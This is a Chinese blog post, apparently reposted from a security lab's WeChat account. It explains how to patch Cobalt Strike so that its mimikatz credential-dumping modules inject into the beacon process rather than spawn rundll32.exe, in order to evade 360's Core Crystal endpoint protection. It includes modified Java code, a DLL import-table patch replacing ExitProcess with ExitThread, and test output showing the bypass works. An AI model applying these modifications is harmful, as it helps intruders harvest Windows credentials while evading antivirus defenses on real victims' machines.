Cobalt Strike模块功能修改Bypass数字核晶

渗透技巧 2年前 (2022) admin
1,128 0 0

众所周知,Cobalt Strike的一些功能模块都是用spawn的方法实现,其原理就是启动一个进程,然后对该进程进行功能模块dll反射注入,默认profile下是启动rundll32.exe这个进程,这种行为在数字的核晶模式下是会被拦截的。前两天刚好在吐司看到一篇文章有讲到,修改Cobalt Strike的源码将spawn的方式修改为inject的方法是可以bypass数字核晶的,因为将Cobalt Strike内置的功能模块dll注入到当前进程就没有新启进程的行为。本文结合上述文章并在@wonderkun师傅的帮助下得到了一个更好的修改方案。

功能模块分析

Cobalt Strike常见的功能如:logonpasswordshashdump等功能在jar代码实现是beacon.TaskBeacon.class

logonpasswords为例,最终定位到如下代码处。

 public void LogonPasswords()
  {
    MimikatzSmall("sekurlsa::logonpasswords");
  }

  public void MimikatzSmall(String paramString)
  {
    for (int i = 0; i < this.bids.length; i++)
    {
      BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
      if (localBeaconEntry.is64()) {
        new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
      } else {
        new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
      }
    }
  }
  

MimikatzSmall方法中,根据目标系统版本进行spawn。跟进到MimikatzJobSmall方法,最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。

public class MimikatzJobSmall
  extends MimikatzJob
{
  public MimikatzJobSmall(TaskBeacon paramTaskBeacon, String paramString)
  {
    super(paramTaskBeacon, paramString);
  }
  
  public String getDLLName()
  {
    if (this.arch.equals("x64")) {
      return "resources/mimikatz-min.x64.dll";
    }
    return "resources/mimikatz-min.x86.dll";
  }
}

修改Java

只需要将spawn方法修改inject方法即可,jar里实现的inject方法的需要传入pid,因为我们是注入当前进程,所以需要通过jar里实现的方法去获取当前进程的pid。另外需要注意的就是下面代码中的**localBeaconEntry.arch()获取是当前进程的位数,而原来代码里的localBeaconEntry.is64()**获取系统的位数。因为我们用到的是inject,所以需要在x64的进程中注入x64的dll,x86的dll中注入x86的dll。

 public void MimikatzSmall(String paramString)
  {
    for (int i = 0; i < this.bids.length; i++)
    {
      BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
      int PID = CommonUtils.toNumber(localBeaconEntry.getPid(), 0); 
      if ("x64".equals(localBeaconEntry.arch())) {
          new MimikatzJobSmall(this, paramString).inject(PID, "x64");
          //new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
      } else {
          new MimikatzJobSmall(this, paramString).inject(PID, "x86");
          //new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
      }
    }
  }

DLL加解密

因为Cobalt Strike中的DLL是加密的,需要进行解密才能对其dll进行修改。相关操作这里就不再详细说了。

具体可以参考https://github.com/lovechoudoufu/cobaltstrike4.4_cdf#dll%E4%BF%AE%E6%94%B9

修改相应的DLL

logonpasswords为例,最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。ida看一下这个dll,可以看到DLL的核心功能是在dllmain中完成的,调用功能函数之后,会直接调用ExitProcess 退出了进程。

Cobalt Strike模块功能修改Bypass数字核晶

这对于spawn方法是没有问题的,因为是新启动的rundll32.exe进程,执行完功能之后执行ExitProcess退出,但是被改成inject之后就有问题了,因为是在当前beacon进程空间中执行的,所以执行完功能会到导致当前的beacon进程挂掉。所以我们直接patch掉这个对ExitProcess的调用就可以了,但是看了一下对ExitProcess的调用是有多处的,一个一个patch太麻烦了。

Cobalt Strike模块功能修改Bypass数字核晶

所以这里有个更好的方法,就是直接把 ExitProcess修改为ExitThread方法 。由于当前的dll是被inject方法调用起来的,是在当前进程空间新启动的线程,所以当前进程挂掉之后,beacon进程的主线程不会受到影响。这里利用 CFF Explorer 修改导入表就可以了。

Cobalt Strike模块功能修改Bypass数字核晶

然后再用ida打开,发现调用的就是ExitThread了。

Cobalt Strike模块功能修改Bypass数字核晶

测试

将dll和java修改完后,直接替换jar里的即可。简单测试一下是否过数字核晶。

Cobalt Strike模块功能修改Bypass数字核晶

我们直接执行mimikatz coffee命令,这里的mimikatzlogonpasswords调用的是不同的两个dll,其中logonpasswords是用inject方法,而mimikatz coffee未做修改,用的spawn方法。可以看到未修改的被拦截了,而修改过的成功执行回显。

Cobalt Strike模块功能修改Bypass数字核晶

BUG

如果我们上线的进程为x86的进程,而目标系统位数为x64位,此时我们执行logonpasswords,会对其x86进程注入x86的dll。此时会报错,报错内容为:

ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

这主要是内置的mimikatz的dll存在问题,msf中的mimikatz也会存在这个问题。因为目标系统为x64,所以需要一个x64的进程来注入x64的dll,即可。

参考文章

https://www.t00ls.cc/viewthread.php?tid=65597


原文始发于微信公众号(穿云箭安全实验室):Cobalt Strike模块功能修改Bypass数字核晶

版权声明:admin 发表于 2022年5月8日 下午11:03。
转载请注明:Cobalt Strike模块功能修改Bypass数字核晶 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...